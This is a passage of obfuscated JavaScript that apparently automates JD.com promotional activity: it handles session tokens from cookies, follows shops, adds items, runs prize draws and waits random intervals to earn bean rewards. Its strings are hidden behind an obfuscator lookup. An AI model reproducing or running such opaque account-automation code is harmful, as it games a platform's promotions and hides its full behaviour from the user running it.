_0x44d4be[_0x5a05('96')](join,_0x4b318a[_0x5a05('97')]);continue;case'1':if(_0x6e7a4f)_0x6e7a4f=![];continue;case'2':if(_0x6e7a4f)console[_0x5a05('7')]('组2');continue;case'3':console[_0x5a05('7')](_0x4b318a[_0x5a05('21')]);continue;case'4':await _0x44d4be[_0x5a05('90')](drawContent);continue;case'5':await $[_0x5a05('91')](_0x44d4be[_0x5a05('a1')](parseInt,_0x44d4be[_0x5a05('70')](_0x44d4be[_0x5a05('a2')](Math[_0x5a05('9a')](),0x3e8),0x1388),0xa));continue;}break;}}}}await $[_0x5a05('91')](0x3e8);await _0x44d4be[_0x5a05('a3')](drawContent);_0x324ced=await _0x44d4be[_0x5a05('a3')](checkOpenCard);await $[_0x5a05('91')](0x3e8);}if(_0x324ced&&_0x44d4be[_0x5a05('a4')](_0x324ced[_0x5a05('a5')],0x1)&&!$[_0x5a05('13')])await _0x44d4be[_0x5a05('a6')](startDraw,0x1);if(_0x324ced&&_0x44d4be[_0x5a05('a4')](_0x324ced[_0x5a05('a7')],0x1)&&!$[_0x5a05('13')])await _0x44d4be[_0x5a05('a6')](startDraw,0x2);$[_0x5a05('7')](_0x44d4be[_0x5a05('70')](_0x44d4be[_0x5a05('a8')],$[_0x5a05('a9')]));if(!$[_0x5a05('a9')]&&!$[_0x5a05('13')])await _0x44d4be[_0x5a05('a3')](followShop);if(!$[_0x5a05('a9')]&&!$[_0x5a05('13')])await $[_0x5a05('91')](_0x44d4be[_0x5a05('a1')](parseInt,_0x44d4be[_0x5a05('70')](_0x44d4be[_0x5a05('aa')](Math[_0x5a05('9a')](),0x3e8),0x1388),0xa));$[_0x5a05('7')](_0x44d4be[_0x5a05('ab')](_0x44d4be[_0x5a05('ac')],$[_0x5a05('ad')]));if(!$[_0x5a05('ad')]&&_0x44d4be[_0x5a05('83')](_0x44d4be[_0x5a05('ae')](guaopencard_addSku,''),_0x44d4be[_0x5a05('af')]))console[_0x5a05('7')](_0x44d4be[_0x5a05('b0')]);if(!$[_0x5a05('ad')]&&_0x44d4be[_0x5a05('a4')](guaopencard_addSku,_0x44d4be[_0x5a05('af')])&&!$[_0x5a05('13')])await _0x44d4be[_0x5a05('a3')](addSku);if(!$[_0x5a05('ad')]&&_0x44d4be[_0x5a05('a4')](guaopencard_addSku,_0x44d4be[_0x5a05('af')])&&!$[_0x5a05('13')])await $[_0x5a05('91')](_0x44d4be[_0x5a05('b1')](parseInt,_0x44d4be[_0x5a05('b2')](_0x44d4be[_0x5a05('aa')](Math[_0x5a05('9a')](),0x3e8),0x1388),0xa));await _0x44d4be[_0x5a05('a3')](getDrawRecordHasCoupon);await $[_0x5a05('91')](0x3e8);await _0x44d4be[_0x5a05('b3')](getShareRecord);$[_0x5a05('7')]($[_0x5a05('3b')]);$[_0x5a05('7')](_0x44d4be[_0x5a05('b2')](_0x44d4be[_0x5a05('b4')],$[_0x5a05('2b')]));if(_0x44d4be[_0x5a05('8c')]($[_0x5a05('36')],0x1)){if(_0x44d4be[_0x5a05('8c')](_0x44d4be[_0x5a05('b5')],_0x44d4be[_0x5a05('b5')])){if($[_0x5a05('3b')]){if(_0x44d4be[_0x5a05('8c')](_0x44d4be[_0x5a05('b6')],_0x44d4be[_0x5a05('b7')])){console[_0x5a05('7')](data);}else{$[_0x5a05('2b')]=$[_0x5a05('3b')];console[_0x5a05('7')](_0x5a05('b8')+$[_0x5a05('2b')]);}}else{console[_0x5a05('7')](_0x44d4be[_0x5a05('b9')]);return;}}else{if(_0x44d4be[_0x5a05('83')](typeof setcookies,_0x44d4be[_0x5a05('80')])){setcookie=setcookies[_0x5a05('68')](',');}else setcookie=setcookies;for(let _0x40dbe7 of setcookie){let _0x45cdce=_0x40dbe7[_0x5a05('68')](';')[0x0][_0x5a05('69')]();if(_0x45cdce[_0x5a05('68')]('=')[0x1]){if(_0x44d4be[_0x5a05('ba')](_0x45cdce[_0x5a05('6b')](_0x44d4be[_0x5a05('bb')]),-0x1))lz_jdpin_token=_0x44d4be[_0x5a05('70')](_0x45cdce[_0x5a05('6e')](/ /g,''),';');if(_0x44d4be[_0x5a05('bc')](_0x45cdce[_0x5a05('6b')](_0x44d4be[_0x5a05('6c')]),-0x1))LZ_TOKEN_KEY=_0x44d4be[_0x5a05('70')](_0x45cdce[_0x5a05('6e')](/ /g,''),';');if(_0x44d4be[_0x5a05('bc')](_0x45cdce[_0x5a05('6b')](_0x44d4be[_0x5a05('6f')]),-0x1))LZ_TOKEN_VALUE=_0x44d4be[_0x5a05('70')](_0x45cdce[_0x5a05('6e')](/ /g,''),';');}}}}await $[_0x5a05('91')](_0x44d4be[_0x5a05('b1')](parseInt,_0x44d4be[_0x5a05('b2')](_0x44d4be[_0x5a05('bd')](Math[_0x5a05('9a')](),0x3e8),0x3e8),0xa));if(!$[_0x5a05('a9')])await $[_0x5a05('91')](_0x44d4be[_0x5a05('be')](parseInt,_0x44d4be[_0x5a05('b2')](_0x44d4be[_0x5a05('bf')](Math[_0x5a05('9a')](),0x3e8),0x2710),0xa));}else{$[_0x5a05('3f')](e,resp);}}catch(_0x52117d){if(_0x44d4be[_0x5a05('c0')](_0x44d4be[_0x5a05('c1')],_0x44d4be[_0x5a05('c2')])){let _0x3577a3='';if(res[_0x5a05('82')][_0x5a05('c3')]){_0x3577a3=res[_0x5a05('82')][_0x5a05('c3')]+'京豆';}if(res[_0x5a05('82')][_0x5a05('c4')]&&res[_0x5a05('82')][_0x5a05('c5')]){_0x3577a3+=_0x5a05('c6')+res[_0x5a05('82')][_0x5a05('c4')]+'京豆';}console[_0x5a05('7')](_0x5a05('c7')+_0x44d4be[_0x5a05('c8')](_0x3577a3,_0x44d4be[_0x5a05('c9')]));}else{console[_0x5a05('7')](_0x52117d);}}}function getDrawRecordHasCoupon(){var _0x5a01b2={'LBMDH':function(_0x3f4dd4,_0x5eec60){return _0x3f4dd4!==_0x5eec60;},'qScSU':_0x5a05('44'),'YSLBY':_0x5a05('4b'),'ifvum':_0x5a05('ca'),'BBpaO':_0x5a05('cb'),'Fucsm':_0x5a05('cc'),'qzEfb':function(_0x414e10,_0x2824cf){return _0x414e10===_0x2824cf;},'XBftS':_0x5a05('cd'),'RRaNY':function(_0x53cdd5,_0xf1433a){return _0x53cdd5==_0xf1433a;},'pCjJW':_0x5a05('ce'),'urdhM':_0x5a05('cf'),'iipNb':_0x5a05('d0'),'HhHjR':function(_0x3d062d,_0x4aec5d){return _0x3d062d!=_0x4aec5d;},'LvxQq':function(_0xf1a573,_0x12cbe2){return _0xf1a573+_0x12cbe2;},'juxps':function(_0x419933,_0x1190c4){return _0x419933>_0x1190c4;},'BRtOQ':function(_0x1a9db5,_0xfd761e){return _0x1a9db5*_0xfd761e;},'yUjrz':function(_0x5c7966,_0x22325a,_0x3cffb1){return _0x5c7966(_0x22325a,_0x3cffb1);},'eHmbd':function(_0x4780f7,_0x2a4bb0){return _0x4780f7==_0x2a4bb0;},'hdLQP':function(_0x3216a0,_0x324924){return _0x3216a0===_0x324924;},'MYDES':_0x5a05('d1'),'YHYdF':_0x5a05('d2'),'gYMTg':_0x5a05('d3'),'mQQxV':function(_0x3212e1){return _0x3212e1();},'CDCbI':_0x5a05('d4'),'exHBB':_0x5a05('d5'),'OUuMS':_0x5a05('d6'),'kmPIG':function(_0x27e76f,_0xc7e138){return _0x27e76f*_0xc7e138;},'hPGiY':function(_0x5850ea,_0xf57613){return _0x5850ea==_0xf57613;},'xnItn':function(_0x54c524,_0x328f79){return _0x54c524!=_0x328f79;},'UQtpV':function(_0x3c2d1f,_0x83c13b){return _0x3c2d1f!=_0x83c13b;},'sqCVK':function(_0x1a9270,_0x4be076,_0xc4259f){return _0x1a9270(_0x4be076,_0xc4259f);},'gjTaV':function(_0x556af7,_0x2cc27c){return _0x556af7(_0x2cc27c);},'FBOiP':_0x5a05('d7')};return new Promise(_0x105a07=>{var _0xfea610={'iLnkE':_0x5a01b2[_0x5a05('d8')],'iofix':_0x5a01b2[_0x5a05('d9')],'KBVgx':_0x5a01b2[_0x5a05('da')],'NRpug':function(_0xdf801b,_0x1ca03e){return _0x5a01b2[_0x5a05('db')](_0xdf801b,_0x1ca03e);},'ToOnq':function(_0x5df3c0,_0x3cee98){return _0x5a01b2[_0x5a05('dc')](_0x5df3c0,_0x3cee98);},'KfABE':function(_0x30e858,_0x3f9663){return _0x5a01b2[_0x5a05('dc')](_0x30e858,_0x3f9663);},'lXXeX':function(_0x40319e,_0x4037a5){return _0x5a01b2[_0x5a05('dd')](_0x40319e,_0x4037a5);},'vwOkJ':function(_0x1b2518,_0x5110f9){return _0x5a01b2[_0x5a05('dd')](_0x1b2518,_0x5110f9);},'pgQIs':_0x5a01b2[_0x5a05('de')],'uXxAu':function(_0x741fa5,_0x471392){return _0x5a01b2[_0x5a05('dd')](_0x741fa5,_0x471392);},'pZnjw':function(_0x1153ac,_0x38cb20){return _0x5a01b2[_0x5a05('df')](_0x1153ac,_0x38cb20);},'CDtQn':function(_0x5b4ffd,_0x34653b){return _0x5a01b2[_0x5a05('e0')](_0x5b4ffd,_0x34653b);},'mMyBN':function(_0x305646,_0x4000d7){return _0x5a01b2[_0x5a05('e1')](_0x305646,_0x4000d7);},'fGIYm':function(_0x24c46b,_0x17f06f){return _0x5a01b2[_0x5a05('e2')](_0x24c46b,_0x17f06f);},'KDRxO':function(_0x379505,_0x2861de,_0x26c672){return _0x5a01b2[_0x5a05('e3')](_0x379505,_0x2861de,_0x26c672);}};let _0x15bac9=_0x5a05('e4')+$[_0x5a05('2d')]+_0x5a05('e5')+$[_0x5a05('3b')]+_0x5a05('e6')+_0x5a01b2[_0x5a05('e7')](encodeURIComponent,$[_0x5a05('62')])+_0x5a05('e8');$[_0x5a05('e9')](_0x5a01b2[_0x5a05('e3')](taskPostUrl,_0x5a01b2[_0x5a05('ea')],_0x15bac9),async(_0x2a9c83,_0x29283c,_0x496cb4)=>{var _0x4bb53f={'BLTpj':function(_0x144809,_0x26d07a){return _0x5a01b2[_0x5a05('eb')](_0x144809,_0x26d07a);},'TcHiV':_0x5a01b2[_0x5a05('ec')],'AyDmG':_0x5a01b2[_0x5a05('ed')]};if(_0x5a01b2[_0x5a05('eb')](_0x5a01b2[_0x5a05('ee')],_0x5a01b2[_0x5a05('ef')])){try{if(_0x2a9c83){if(_0x5a01b2[_0x5a05('eb')](_0x5a01b2[_0x5a05('f0')],_0x5a01b2[_0x5a05('f0')])){console[_0x5a05('7')](_0x496cb4);}else{console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x2a9c83));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}}else{if(_0x5a01b2[_0x5a05('f3')](_0x5a01b2[_0x5a05('f4')],_0x5a01b2[_0x5a05('f4')])){res=$[_0x5a05('7e')](_0x496cb4);if(_0x5a01b2[_0x5a05('f5')](typeof res,_0x5a01b2[_0x5a05('ec')])){if(_0x5a01b2[_0x5a05('f3')](res[_0x5a05('81')],!![])&&res[_0x5a05('82')]){if(_0x5a01b2[_0x5a05('f3')](_0x5a01b2[_0x5a05('f6')],_0x5a01b2[_0x5a05('f7')])){res=$[_0x5a05('7e')](_0x496cb4);if(_0x4bb53f[_0x5a05('f8')](typeof res,_0x4bb53f[_0x5a05('f9')])){console[_0x5a05('7')](_0x496cb4);}}else{console[_0x5a05('7')](_0x5a05('fa'));let _0x2b7fc2=0x0;let _0x1dcde8=0x0;for(let _0x34c720 in res[_0x5a05('82')]){let _0x50c415=res[_0x5a05('82')][_0x34c720];if(_0x5a01b2[_0x5a05('f5')](_0x50c415[_0x5a05('97')],_0x5a01b2[_0x5a05('de')]))_0x2b7fc2++;if(_0x5a01b2[_0x5a05('f5')](_0x50c415[_0x5a05('97')],_0x5a01b2[_0x5a05('de')]))_0x1dcde8=_0x50c415[_0x5a05('fb')][_0x5a05('6e')]('京豆','');if(_0x5a01b2[_0x5a05('fc')](_0x50c415[_0x5a05('97')],_0x5a01b2[_0x5a05('de')]))console[_0x5a05('7')](''+(_0x5a01b2[_0x5a05('fc')](_0x50c415[_0x5a05('fd')],0xa)&&_0x5a01b2[_0x5a05('e1')](_0x50c415[_0x5a05('97')],':')||'')+_0x50c415[_0x5a05('fb')]);}if(_0x5a01b2[_0x5a05('e2')](_0x2b7fc2,0x0))console[_0x5a05('7')](_0x5a05('fe')+_0x2b7fc2+'):'+(_0x5a01b2[_0x5a05('ff')](_0x2b7fc2,_0x5a01b2[_0x5a05('100')](parseInt,_0x1dcde8,0xa))||0x1e)+'京豆');}}else if(_0x5a01b2[_0x5a05('dc')](typeof res,_0x5a01b2[_0x5a05('ec')])&&res[_0x5a05('87')]){if(_0x5a01b2[_0x5a05('101')](_0x5a01b2[_0x5a05('102')],_0x5a01b2[_0x5a05('103')])){let _0x59f12c=[$[_0x5a05('2b')],_0xfea610[_0x5a05('104')],_0xfea610[_0x5a05('105')],_0xfea610[_0x5a05('106')]];let _0xd234e3=Math[_0x5a05('107')](_0xfea610[_0x5a05('108')](Math[_0x5a05('9a')](),0xa));let _0x9417eb=0x0;if(_0xfea610[_0x5a05('109')](_0xd234e3,0x1))_0x9417eb=0x1;if(_0xfea610[_0x5a05('10a')](_0xd234e3,0x2))_0x9417eb=0x2;if(_0xfea610[_0x5a05('10b')](_0xd234e3,0x3))_0x9417eb=0x3;$[_0x5a05('2b')]=_0x59f12c[_0x9417eb]?_0x59f12c[_0x9417eb]:$[_0x5a05('2b')];}else{console[_0x5a05('7')](_0x5a05('10c')+(res[_0x5a05('87')]||''));}}else{console[_0x5a05('7')](_0x496cb4);}}else{if(_0x5a01b2[_0x5a05('eb')](_0x5a01b2[_0x5a05('10d')],_0x5a01b2[_0x5a05('10d')])){console[_0x5a05('7')](_0x4bb53f[_0x5a05('10e')]);$[_0x5a05('13')]=!![];}else{console[_0x5a05('7')](_0x496cb4);}}}else{setcookie=setcookies[_0x5a05('68')](',');}}}catch(_0x46d8cc){$[_0x5a05('3f')](_0x46d8cc,_0x29283c);}finally{_0x5a01b2[_0x5a05('10f')](_0x105a07);}}else{console[_0x5a05('7')](_0x5a05('fa'));let _0x4f55ef=0x0;let _0x225f21=0x0;for(let _0xe9e21 in res[_0x5a05('82')]){let _0x5db68b=res[_0x5a05('82')][_0xe9e21];if(_0xfea610[_0x5a05('110')](_0x5db68b[_0x5a05('97')],_0xfea610[_0x5a05('111')]))_0x4f55ef++;if(_0xfea610[_0x5a05('112')](_0x5db68b[_0x5a05('97')],_0xfea610[_0x5a05('111')]))_0x225f21=_0x5db68b[_0x5a05('fb')][_0x5a05('6e')]('京豆','');if(_0xfea610[_0x5a05('113')](_0x5db68b[_0x5a05('97')],_0xfea610[_0x5a05('111')]))console[_0x5a05('7')](''+(_0xfea610[_0x5a05('114')](_0x5db68b[_0x5a05('fd')],0xa)&&_0xfea610[_0x5a05('115')](_0x5db68b[_0x5a05('97')],':')||'')+_0x5db68b[_0x5a05('fb')]);}if(_0xfea610[_0x5a05('116')](_0x4f55ef,0x0))console[_0x5a05('7')](_0x5a05('fe')+_0x4f55ef+'):'+(_0xfea610[_0x5a05('108')](_0x4f55ef,_0xfea610[_0x5a05('117')](parseInt,_0x225f21,0xa))||0x1e)+'京豆');}});});}function getShareRecord(){var _0x45d04f={'FyOkP':function(_0x940ff4,_0x330555){return _0x940ff4==_0x330555;},'vbKnI':function(_0x2f608d,_0x2bc52f){return _0x2f608d===_0x2bc52f;},'vHtoO':_0x5a05('118'),'zSNcA':_0x5a05('119'),'pxTXL':_0x5a05('44'),'XOYEz':_0x5a05('11a'),'EEKBF':_0x5a05('11b'),'fKsFT':function(_0x45056f,_0x537630){return _0x45056f!==_0x537630;},'gAuyb':_0x5a05('11c'),'ZbMsg':_0x5a05('11d'),'nfOZy':_0x5a05('11e'),'EOzTv':function(_0x54a5b3){return _0x54a5b3();},'hePdV':function(_0x51a8c4,_0x3e51b3){return _0x51a8c4!=_0x3e51b3;},'timYa':_0x5a05('45'),'GMvsY':function(_0x28fd0f,_0x14d268){return _0x28fd0f!=_0x14d268;},'bcrRY':function(_0x2bc683,_0x234c52){return _0x2bc683(_0x234c52);},'pilTR':function(_0x2a0caa,_0x510f8c,_0x2d03c5){return _0x2a0caa(_0x510f8c,_0x2d03c5);},'vkMcK':_0x5a05('11f')};return new Promise(_0x2e8807=>{var _0x396b50={'jLuQc':function(_0x52b3e2,_0x235605){return _0x45d04f[_0x5a05('120')](_0x52b3e2,_0x235605);},'gzUlD':_0x45d04f[_0x5a05('121')],'gmiMD':function(_0x91acd5,_0xa685ac){return _0x45d04f[_0x5a05('120')](_0x91acd5,_0xa685ac);},'XEcGh':function(_0x4f7044,_0x3037ea){return _0x45d04f[_0x5a05('122')](_0x4f7044,_0x3037ea);}};let _0x1cad70=_0x5a05('e4')+$[_0x5a05('2d')]+_0x5a05('e5')+$[_0x5a05('3b')]+_0x5a05('e6')+_0x45d04f[_0x5a05('123')](encodeURIComponent,$[_0x5a05('62')])+_0x5a05('e8');$[_0x5a05('e9')](_0x45d04f[_0x5a05('124')](taskPostUrl,_0x45d04f[_0x5a05('125')],_0x1cad70),async(_0x3d2e8b,_0x405f13,_0x19d7de)=>{var _0x4c6545={'JvxzD':function(_0x51012c,_0x2832a5){return _0x45d04f[_0x5a05('126')](_0x51012c,_0x2832a5);}};try{if(_0x45d04f[_0x5a05('127')](_0x45d04f[_0x5a05('128')],_0x45d04f[_0x5a05('128')])){if(_0x3d2e8b){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x3d2e8b));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{if(_0x45d04f[_0x5a05('127')](_0x45d04f[_0x5a05('129')],_0x45d04f[_0x5a05('129')])){res=$[_0x5a05('7e')](_0x19d7de);if(_0x45d04f[_0x5a05('126')](typeof res,_0x45d04f[_0x5a05('12a')])){if(_0x45d04f[_0x5a05('127')](_0x45d04f[_0x5a05('12b')],_0x45d04f[_0x5a05('12c')])){setcookie=setcookies[_0x5a05('68')](',');}else{if(_0x45d04f[_0x5a05('127')](res[_0x5a05('81')],!![])&&res[_0x5a05('82')]){if(_0x45d04f[_0x5a05('12d')](_0x45d04f[_0x5a05('12e')],_0x45d04f[_0x5a05('12e')])){console[_0x5a05('7')](_0x5a05('12f')+i[_0x5a05('130')]+i[_0x5a05('131')]+i[_0x5a05('132')]);}else{$[_0x5a05('7')](_0x5a05('133')+res[_0x5a05('82')][_0x5a05('32')]+'个');}}else if(_0x45d04f[_0x5a05('126')](typeof res,_0x45d04f[_0x5a05('12a')])&&res[_0x5a05('87')]){if(_0x45d04f[_0x5a05('12d')](_0x45d04f[_0x5a05('134')],_0x45d04f[_0x5a05('135')])){console[_0x5a05('7')](''+(res[_0x5a05('87')]||''));}else{console[_0x5a05('7')](_0x19d7de);}}else{console[_0x5a05('7')](_0x19d7de);}}}else{console[_0x5a05('7')](_0x19d7de);}}else{_0x19d7de=JSON[_0x5a05('136')](_0x19d7de);if(_0x4c6545[_0x5a05('137')](_0x19d7de[_0x5a05('138')],!![])){$[_0x5a05('139')]=_0x19d7de[_0x5a05('81')][_0x5a05('13a')]&&_0x19d7de[_0x5a05('81')][_0x5a05('13a')][0x0]&&_0x19d7de[_0x5a05('81')][_0x5a05('13a')][0x0][_0x5a05('13b')]&&_0x19d7de[_0x5a05('81')][_0x5a05('13a')][0x0][_0x5a05('13b')][_0x5a05('2d')]||'';}}}}else{if(_0x396b50[_0x5a05('13c')](typeof res[_0x5a05('82')][_0x5a05('a9')][_0x5a05('13d')],_0x396b50[_0x5a05('13e')]))$[_0x5a05('a9')]=res[_0x5a05('82')][_0x5a05('a9')][_0x5a05('13d')];if(_0x396b50[_0x5a05('13f')](typeof res[_0x5a05('82')][_0x5a05('ad')][_0x5a05('13d')],_0x396b50[_0x5a05('13e')]))$[_0x5a05('ad')]=res[_0x5a05('82')][_0x5a05('ad')][_0x5a05('13d')];if(_0x396b50[_0x5a05('140')](typeof res[_0x5a05('82')][_0x5a05('3b')],_0x396b50[_0x5a05('13e')]))$[_0x5a05('3b')]=res[_0x5a05('82')][_0x5a05('3b')];}}catch(_0x24a8fa){$[_0x5a05('3f')](_0x24a8fa,_0x405f13);}finally{_0x45d04f[_0x5a05('141')](_0x2e8807);}});});}function addSku(){var _0x5e97f8={'tjMcE':function(_0x319953,_0x172936){return _0x319953>_0x172936;},'rnFcR':_0x5a05('47'),'wyPRb':function(_0x17e5ef,_0x282a28){return _0x17e5ef+_0x282a28;},'AHtYv':function(_0x51980f,_0x178bcd){return _0x51980f>_0x178bcd;},'yyfTh':_0x5a05('42'),'ScjWJ':function(_0x393805,_0x107fe2){return _0x393805+_0x107fe2;},'QFJHt':_0x5a05('43'),'sORFQ':function(_0x455ceb,_0x17d248){return _0x455ceb+_0x17d248;},'rkrnS':function(_0x1dd62f,_0xebdd1b){return _0x1dd62f!==_0xebdd1b;},'MIyjY':_0x5a05('142'),'cdDsX':function(_0x151bf8,_0x5e040f){return _0x151bf8==_0x5e040f;},'FWxFW':_0x5a05('4b'),'hqgCk':_0x5a05('44'),'lmWje':function(_0x2a0802,_0x21e128){return _0x2a0802===_0x21e128;},'ruoce':function(_0x595f7a,_0x261376){return _0x595f7a||_0x261376;},'bCxyR':_0x5a05('48'),'JZFts':function(_0x1163c5){return _0x1163c5();},'sVftl':function(_0x5d3433,_0x1b9070){return _0x5d3433(_0x1b9070);},'BWAgv':function(_0x3b52b7,_0x58cbf4,_0x18d198){return _0x3b52b7(_0x58cbf4,_0x18d198);},'xXCgs':_0x5a05('143')};return new Promise(_0x1e37ab=>{let _0x137366=_0x5a05('e4')+$[_0x5a05('2d')]+_0x5a05('e6')+_0x5e97f8[_0x5a05('144')](encodeURIComponent,$[_0x5a05('62')])+_0x5a05('e5')+$[_0x5a05('3b')]+_0x5a05('145');$[_0x5a05('e9')](_0x5e97f8[_0x5a05('146')](taskPostUrl,_0x5e97f8[_0x5a05('147')],_0x137366),async(_0x10818a,_0x5bdbe2,_0x459fff)=>{var _0x54847f={'RKqAG':function(_0x3c0b2a,_0x3f33c8){return _0x5e97f8[_0x5a05('148')](_0x3c0b2a,_0x3f33c8);},'VORwv':_0x5e97f8[_0x5a05('149')],'fDDjf':function(_0x47080a,_0x274476){return _0x5e97f8[_0x5a05('14a')](_0x47080a,_0x274476);},'MmpAk':function(_0x3006aa,_0x5c83b5){return _0x5e97f8[_0x5a05('14b')](_0x3006aa,_0x5c83b5);},'ViJzw':_0x5e97f8[_0x5a05('14c')],'TguZN':function(_0x42d9d0,_0x3d164f){return _0x5e97f8[_0x5a05('14d')](_0x42d9d0,_0x3d164f);},'uchVk':_0x5e97f8[_0x5a05('14e')],'CiGXe':function(_0x4055e4,_0x2f1f3e){return _0x5e97f8[_0x5a05('14f')](_0x4055e4,_0x2f1f3e);}};try{if(_0x10818a){if(_0x5e97f8[_0x5a05('150')](_0x5e97f8[_0x5a05('151')],_0x5e97f8[_0x5a05('151')])){let _0x2c69f1=ck[_0x5a05('68')](';')[0x0][_0x5a05('69')]();if(_0x2c69f1[_0x5a05('68')]('=')[0x1]){if(_0x54847f[_0x5a05('152')](_0x2c69f1[_0x5a05('6b')](_0x54847f[_0x5a05('153')]),-0x1))lz_jdpin_token=_0x54847f[_0x5a05('154')](_0x2c69f1[_0x5a05('6e')](/ /g,''),';');if(_0x54847f[_0x5a05('155')](_0x2c69f1[_0x5a05('6b')](_0x54847f[_0x5a05('156')]),-0x1))LZ_TOKEN_KEY=_0x54847f[_0x5a05('157')](_0x2c69f1[_0x5a05('6e')](/ /g,''),';');if(_0x54847f[_0x5a05('155')](_0x2c69f1[_0x5a05('6b')](_0x54847f[_0x5a05('158')]),-0x1))LZ_TOKEN_VALUE=_0x54847f[_0x5a05('159')](_0x2c69f1[_0x5a05('6e')](/ /g,''),';');}}else{if(_0x5bdbe2[_0x5a05('15a')]&&_0x5e97f8[_0x5a05('15b')](_0x5bdbe2[_0x5a05('15a')],0x1ed)){console[_0x5a05('7')](_0x5e97f8[_0x5a05('15c')]);$[_0x5a05('13')]=!![];}console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x10818a));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}}else{res=$[_0x5a05('7e')](_0x459fff);if(_0x5e97f8[_0x5a05('15b')](typeof res,_0x5e97f8[_0x5a05('15d')])){if(_0x5e97f8[_0x5a05('15e')](res[_0x5a05('81')],!![])&&res[_0x5a05('82')]){let _0x187548='';if(res[_0x5a05('82')][_0x5a05('c3')]){_0x187548=res[_0x5a05('82')][_0x5a05('c3')]+'京豆';}console[_0x5a05('7')](_0x5a05('15f')+_0x5e97f8[_0x5a05('160')](_0x187548,_0x5e97f8[_0x5a05('161')]));}else if(_0x5e97f8[_0x5a05('15b')](typeof res,_0x5e97f8[_0x5a05('15d')])&&res[_0x5a05('87')]){console[_0x5a05('7')](_0x5a05('162')+(res[_0x5a05('87')]||''));}else{console[_0x5a05('7')](_0x459fff);}}else{console[_0x5a05('7')](_0x459fff);}}}catch(_0x50943a){$[_0x5a05('3f')](_0x50943a,_0x5bdbe2);}finally{_0x5e97f8[_0x5a05('163')](_0x1e37ab);}});});}function followShop(){var _0x26c3c4={'RzyJR':_0x5a05('4b'),'PvMFT':function(_0xc333c5,_0x506f33){return _0xc333c5==_0x506f33;},'lyfAV':_0x5a05('44'),'TxeGb':function(_0x46175a,_0x4139f6){return _0x46175a!=_0x4139f6;},'eUCPa':_0x5a05('45'),'PAhSE':function(_0x3378e1,_0x2d662b){return _0x3378e1==_0x2d662b;},'DhUFF':function(_0x2244a2,_0x55b8c2){return _0x2244a2!==_0x55b8c2;},'gbRMW':_0x5a05('164'),'DnVSV':_0x5a05('165'),'WxGrL':_0x5a05('166'),'sZrXv':_0x5a05('167'),'lKCcS':function(_0x2c0e9a,_0x1243dc){return _0x2c0e9a!==_0x1243dc;},'SSAmf':_0x5a05('168'),'kgRzv':function(_0x15bb61,_0xb4148a){return _0x15bb61===_0xb4148a;},'oPVrY':_0x5a05('169'),'vldbJ':function(_0x18e429,_0x2043a7){return _0x18e429!==_0x2043a7;},'kMWdM':_0x5a05('16a'),'iLvqs':function(_0x3a5c20,_0x54b896){return _0x3a5c20||_0x54b896;},'dJNCS':_0x5a05('48'),'fWqvF':_0x5a05('16b'),'vSxIh':_0x5a05('16c'),'Esxuw':_0x5a05('16d'),'rJZGh':function(_0x5dba48){return _0x5dba48();},'QSlEf':function(_0x3e5ffa,_0x419ab9){return _0x3e5ffa>_0x419ab9;},'NGoMq':_0x5a05('42'),'CCoil':function(_0x1c347f,_0x565a1d){return _0x1c347f+_0x565a1d;},'sjrLr':_0x5a05('43'),'EsHfG':function(_0x167a62,_0x26b80b){return _0x167a62(_0x26b80b);},'Iiwsc':function(_0x270a8a,_0x433585,_0x385821){return _0x270a8a(_0x433585,_0x385821);},'HfcxF':_0x5a05('16e')};return new Promise(_0x53b0d6=>{var _0x438845={'aHmYm':function(_0x3fc8cf,_0x4e9189){return _0x26c3c4[_0x5a05('16f')](_0x3fc8cf,_0x4e9189);},'bYijn':_0x26c3c4[_0x5a05('170')],'UVOUe':function(_0x1c5d77,_0x5ce67a){return _0x26c3c4[_0x5a05('171')](_0x1c5d77,_0x5ce67a);},'mqWrP':_0x26c3c4[_0x5a05('172')],'DbkGw':function(_0x2fb811,_0x4efa07){return _0x26c3c4[_0x5a05('173')](_0x2fb811,_0x4efa07);},'CMAOm':function(_0x1b1d4b,_0x11cd63){return _0x26c3c4[_0x5a05('171')](_0x1b1d4b,_0x11cd63);},'neYgS':_0x26c3c4[_0x5a05('174')],'daCXN':function(_0x4eff1b){return _0x26c3c4[_0x5a05('175')](_0x4eff1b);}};let _0x3071de=_0x5a05('e4')+$[_0x5a05('2d')]+_0x5a05('e6')+_0x26c3c4[_0x5a05('176')](encodeURIComponent,$[_0x5a05('62')])+_0x5a05('e5')+$[_0x5a05('3b')]+_0x5a05('30')+$[_0x5a05('2b')]+_0x5a05('177');$[_0x5a05('e9')](_0x26c3c4[_0x5a05('178')](taskPostUrl,_0x26c3c4[_0x5a05('179')],_0x3071de),async(_0xa253d,_0xd5a93,_0x593ace)=>{var _0x46259f={'dspgb':_0x26c3c4[_0x5a05('17a')],'admsl':function(_0x1e1e22,_0x56b92a){return _0x26c3c4[_0x5a05('17b')](_0x1e1e22,_0x56b92a);},'TrVwA':_0x26c3c4[_0x5a05('170')],'lQYIB':function(_0x47c289,_0x55ce9a){return _0x26c3c4[_0x5a05('16f')](_0x47c289,_0x55ce9a);},'SDxMT':_0x26c3c4[_0x5a05('17c')],'GuhDj':function(_0x58af0c,_0x105c90){return _0x26c3c4[_0x5a05('17d')](_0x58af0c,_0x105c90);},'mnOZY':function(_0x128f64,_0x3daf5a){return _0x26c3c4[_0x5a05('17d')](_0x128f64,_0x3daf5a);}};try{if(_0x26c3c4[_0x5a05('17e')](_0x26c3c4[_0x5a05('17f')],_0x26c3c4[_0x5a05('180')])){if(_0xa253d){if(_0xd5a93[_0x5a05('15a')]&&_0x26c3c4[_0x5a05('17d')](_0xd5a93[_0x5a05('15a')],0x1ed)){if(_0x26c3c4[_0x5a05('17e')](_0x26c3c4[_0x5a05('181')],_0x26c3c4[_0x5a05('182')])){console[_0x5a05('7')](_0x26c3c4[_0x5a05('17a')]);$[_0x5a05('13')]=!![];}else{$[_0x5a05('3f')](e,_0xd5a93);}}console[_0x5a05('7')](''+$[_0x5a05('f1')](_0xa253d));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{if(_0x26c3c4[_0x5a05('183')](_0x26c3c4[_0x5a05('184')],_0x26c3c4[_0x5a05('184')])){if(_0x438845[_0x5a05('185')](typeof 